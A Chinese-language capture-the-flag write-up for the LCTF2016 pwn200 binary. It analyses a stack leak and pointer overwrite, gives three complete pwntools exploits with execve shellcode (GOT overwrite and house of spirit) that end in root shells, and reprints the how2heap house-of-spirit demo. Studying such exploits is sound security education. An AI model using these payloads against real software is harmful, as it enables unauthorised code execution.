checksec

python
Python 2.7.5 (default, Aug  7 2019, 00:51:29) 
[GCC 4.8.5 20150623 (Red Hat 4.8.5-39)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> print ELF('pwn200').checksec()
[*] '/root/tw_pwn_code/ctf_collection/LCTF2016/pwn200'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

ida64中查看

int whoareyou()
{
  signed __int64 i; // [sp+10h] [bp-40h]@1
  char v2[48]; // [sp+20h] [bp-30h]@2

  puts("who are u?");
  for ( i = 0LL; i <= 47; ++i )		//最多输入48个字符,并保存在v2中
  {
    read(0, &v2[i], 1uLL);
    if ( v2[i] == '\n' )
    {
      v2[i] = 0;
      break;
    }
  }
  printf("%s, welcome to xdctf~\n", v2);		//打印输出的内容,如果v2没有\n,那么他就会一直读取直到遇到\n
  puts("give me your id ~~?");
  read_num_morty();				// 最多输入4个字符并保存在nptr中,并返回其数字,最多4位数
  return givememoney();
}

v2位于rbp-0x30的位置,而name会读入0x30个字符,且如果读入0x30个字符的话末尾不会有\x00,这样在printf的时候就会顺带leak出rbp的值

printf会输出数据直到\x00

int sub_400A29()
{
  char *v0; // rdi@1
  char buf; // [sp+0h] [bp-40h]@1
  char *dest; // [sp+38h] [bp-8h]@1		//就是一个在rbp上一个地址

  dest = (char *)malloc(0x40uLL);		//申请一块内存,并将其指针保存在rbp上一个地址
  puts("give me money~");
  read(0, &buf, 0x40uLL);	//读取0x40,到&buf,这里会将dest覆盖
  v0 = dest;
  strcpy(dest, &buf);	//将读取的内容拷贝到dest中
  ptr = dest;			//这个dest可以控制,prt可以控制
  return sub_4009C4(v0, &buf);	//	v0可以控制
}
  • buf在栈上的位置是rbp-0x40,dest在栈上的位置是rbp-0x8,但是buf却读了0x40个字节,很明显最后八字节会将dest的块的地址覆盖
  • strcpy遇到\x00停止

checkout的时候free了ptr

void checkout()
{
  if ( ptr )
  {
    puts("out~");
    free(ptr);
    ptr = 0LL;
  }
  else
  {
    puts("havn't check in");
  }
}

我们可以在sub_400A29的时候控制ptr,将prt指向一个假的chunk中

strcpy之后buf的空间为

0x7fffffffe1b0:	0x4242424242424242	0x4242424242424242
0x7fffffffe1c0:	0x4242424242424242	0x00007fffffffe220	shellcode
0x7fffffffe1d0:	0x4141414141414141	0x4141414141414141
0x7fffffffe1e0:	0x4141414141414141	0x0000000000602018	free_got

然后就是从0x602018这里开始覆盖0x7fffffffe1b0这里的值,一直覆盖到\x00,这是shellcode刚好把printf’got给覆盖了,然后调用printf的时候,就调用了shellcode,重点就是got.plt的位置,是连续的,如下图

gdb-peda$ x/wx 0x602020
0x602020 <strcpy@got.plt>:	0x00400626
gdb-peda$ x/wx 0x602028
0x602028 <puts@got.plt>:	0xf7a7d660
gdb-peda$ x/wx 0x602030
0x602030 <printf@got.plt>:	0xf7a603c0
gdb-peda$ x/wx 0x602038
0x602038 <read@got.plt>:	0xf7afc940

最终的exp

#coding=utf-8
from pwn import *

#context.log_level = 'debug'

#p = process('./pwn200')
p = remote("127.0.0.1",4000)
p.recvuntil('who are u?')

addr_got_plt = 0x0000000000602000
shellocde= "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
name = shellocde + "A"*(48-len(shellocde))		#就是在输入名称的地方写入shellcode

raw_input('#')
p.send(name)
junk = p.recvuntil('A'*(48-len(shellocde)))		#发送名称,并leak出rbp地址
leak_addr = p.recv(6)
print "leak--->0x" + (leak_addr or ' ')[::-1].encode('hex')
leak_addr = (leak_addr or ' ')[::-1].encode('hex')
leak_addr = int(leak_addr,16)
offset = 0x50
target_addr = leak_addr - offset   				#根据leak出的地址找到shellcode的地址

pl = "B"*25 + p64(target_addr)  #shellcode
pl += "A" *24      #(0x40 - 33 - 8 + 1)
pl += p64(0x602018)        #这个是free got的位置	
raw_input('#')
p.sendline(pl)				#	p1就是buf空间,然后程序会运行strcpy(dest, &buf);将free_got覆盖为shellcode

p.interactive()

运行结果

python pwn200exp.py 
[+] Starting local process './pwn200': pid 23629
$debug1
leak--->0x7fffffffe2f0
$debug2
[*] Switching to interactive mode
, welcome to xdctf~
give me your id ~~?
0x42 give me money~
$ id
uid=0(root) gid=0(root) groups=0(root)

另一种思路的exp,这个理解了

int givememoney()
{
  char *v0; // rdi@1
  char buf; // [sp+0h] [bp-40h]@1
  char *dest; // [sp+38h] [bp-8h]@1

  dest = (char *)malloc(0x40uLL);
  puts("give me money~");
  read(0, &buf, 0x40uLL);#buf的前八个字节为shellcode的地址,中间为\x00,最后八个字节为free's got,这样做的话,dest指针就是free's got
  v0 = dest;
  strcpy(dest, &buf);#这样就是将free's got的值改变为shellcode的地址,因为\x00,所以大小正好为8个字节,不会报错,然后再找机会调用free函数,就可以getshell
  ptr = dest;
  return sub_4009C4(v0, &buf);
}

exp代码

from pwn import *

#context.log_level = 'debug'

p = process('./pwn200')
p.recvuntil('who are u?')
elf = ELF('./pwn200')
free_got = elf.got["free"]
shellocde= "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
name = shellocde + "A"*(48-len(shellocde))

raw_input('#1')
p.send(name)
junk = p.recvuntil('A'*(48-len(shellocde)))
leak_addr = p.recv(6)
print "leak--->0x" + (leak_addr or ' ')[::-1].encode('hex')
leak_addr = (leak_addr or ' ')[::-1].encode('hex')
leak_addr = int(leak_addr,16)
#print type(leak_addr)
offset = 0x50
shellcode_addr = leak_addr - offset         #获取shellcode的地址
p.sendline('0')  # id
p.recvuntil('\n')

payload = p64(shellcode_addr)
p.send(payload + '\x00' * (0x38 - len(payload)) + p64(free_got))  # the juck data must be '\x00' in the got!
p.recvuntil('choice :')
p.sendline('2')
p.interactive()

结果

python pwn200exp2.py 
[+] Starting local process './pwn200': pid 306
[*] '/root/tw_pwn_code/ctf_collection/LCTF2016/pwn200'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
#1
leak--->0x7fffffffe2f0
shellcode_addr = 0x7fffffffe2a0
[*] Switching to interactive mode
 out~
$ id
uid=0(root) gid=0(root) groups=0(root)

house of sprited的解法

from pwn import *

context.log_level = 'debug'
# p = remote('127.0.0.1', 7777)
p = process('./pwn200')

free_got = 0x0000000000602018

shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')
payload = ''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)                                         #发送第一个payload,同时获取rbp
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, '\x00'))

shellcode_addr = rbp_addr - 0x50                        #shellcode 的地址
print "shellcode_addr: ", hex(shellcode_addr)
fake_addr = rbp_addr - 0x90                             # 这个就是givememoney的返回地址

p.recvuntil('give me your id ~~?\n')
p.sendline('32')  # id
p.recvuntil('give me money~\n')

# data就是chunk中的内容(0x40)     32bytes padding + prev_size + size + padding + fake_addr
data = p64(0xdeadbeef) * 4 + p64(0) + p64(0x41) + p64(0) + p64(fake_addr)
p.send(data)

p.recvuntil('choice : ')
p.sendline('2')  # free(fake_addr)

p.recvuntil('choice : ')
p.sendline('1')  # checkin malloc(fake_addr) #fake_addr

p.recvuntil('long?')
p.sendline('48')  # 48 + 16 = 64 = 0x40     ptr = malloc(48)
p.recvline('48')

data = 'a' * 24 + p64(shellcode_addr)  #
data = data.ljust(48, '\x00')

p.send(data)

p.recvuntil('choice')
p.sendline('3')     #goodbye

p.interactive()

参考:https://bbs.pediy.com/thread-225440.htm


关于house of sprited 的复习

==这个大概就是伪造了一个堆结构,然后free掉它,然后再malloc的时候,就可以用那个位置了==

#include <stdio.h>
#include <stdlib.h>

int main()
{
	fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

	fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
	unsigned long long *a;
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

	fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

	fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
	fake_chunks[1] = 0x40; // this is the size

	fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
	fake_chunks[9] = 0x1234; // nextsize

	fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
	fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
	a = &fake_chunks[2];

	fprintf(stderr, "Freeing the overwritten pointer.\n");
	free(a);

	fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

House of Spirit

这个程序演示 house of spirit 攻击原理,首先调用一次 malloc 让操作系统分配堆内存

malloc(1);

攻击者构造一个 fake chunk,再覆盖掉一个指针使之指向 fake chunk

unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned(16)))

fake_chunks[1] = 0x40;	// fake chunk 的 size

fake_chunks[9] = 0x1234; // nextsize

0x7fffffffdd30:	0x00000000	0x00000000	0x00000040	0x00000000	-> fake chunk
0x7fffffffdd40:	0x0000ff00	0x00000000	0x00000000	0x00000000
0x7fffffffdd50:	0x00000001	0x00000000	0x004008ed	0x00000000
0x7fffffffdd60:	0x00000000	0x00000000	0x00000000	0x00000000
0x7fffffffdd70:	0x004008a0	0x00000000	0x00001234	0x00000000	-> next chunk

让一个指针指向构造好的 fake chunk,并释放掉它

a = &fake_chunks[2];

free(a);

这时 fastbin 中会缓存 fake chunk,再次 malloc 相匹配大小的 chunk 时会返回受攻击者控制的 fake chunk

0x7ffff7dd1b20 <main_arena>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7dd1b30 <main_arena+16>:	0x00000000	0x00000000	0xffffdd30	0x00007fff	-> fake chunk
0x7ffff7dd1b40 <main_arena+32>:	0x00000000	0x00000000	0x00000000	0x00000000
0x7ffff7dd1b50 <main_arena+48>:	0x00000000	0x00000000	0x00000000	0x00000000

victim = malloc(0x30);

而 fake chunk 可以是 heap、stack、etc 上的任意一块内存,这里 victim 指针指向 stack 而不是 heap,攻击通过修改栈上的返回地址可以劫持程序的控制流

运行结果

 H localhost.localdomain  root  ... | morty | how2heap | glibc_2.25  ./house_of_spirit 
This file demonstrates the house of spirit attack.
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region (memory of length: 80) contains two chunks. The first starts at 0x7ffc6a06ac18 and the second at 0x7ffc6a06ac58.
This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc6a06ac18.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc6a06ac18, which will be 0x7ffc6a06ac20!
malloc(0x30): 0x7ffc6a06ac20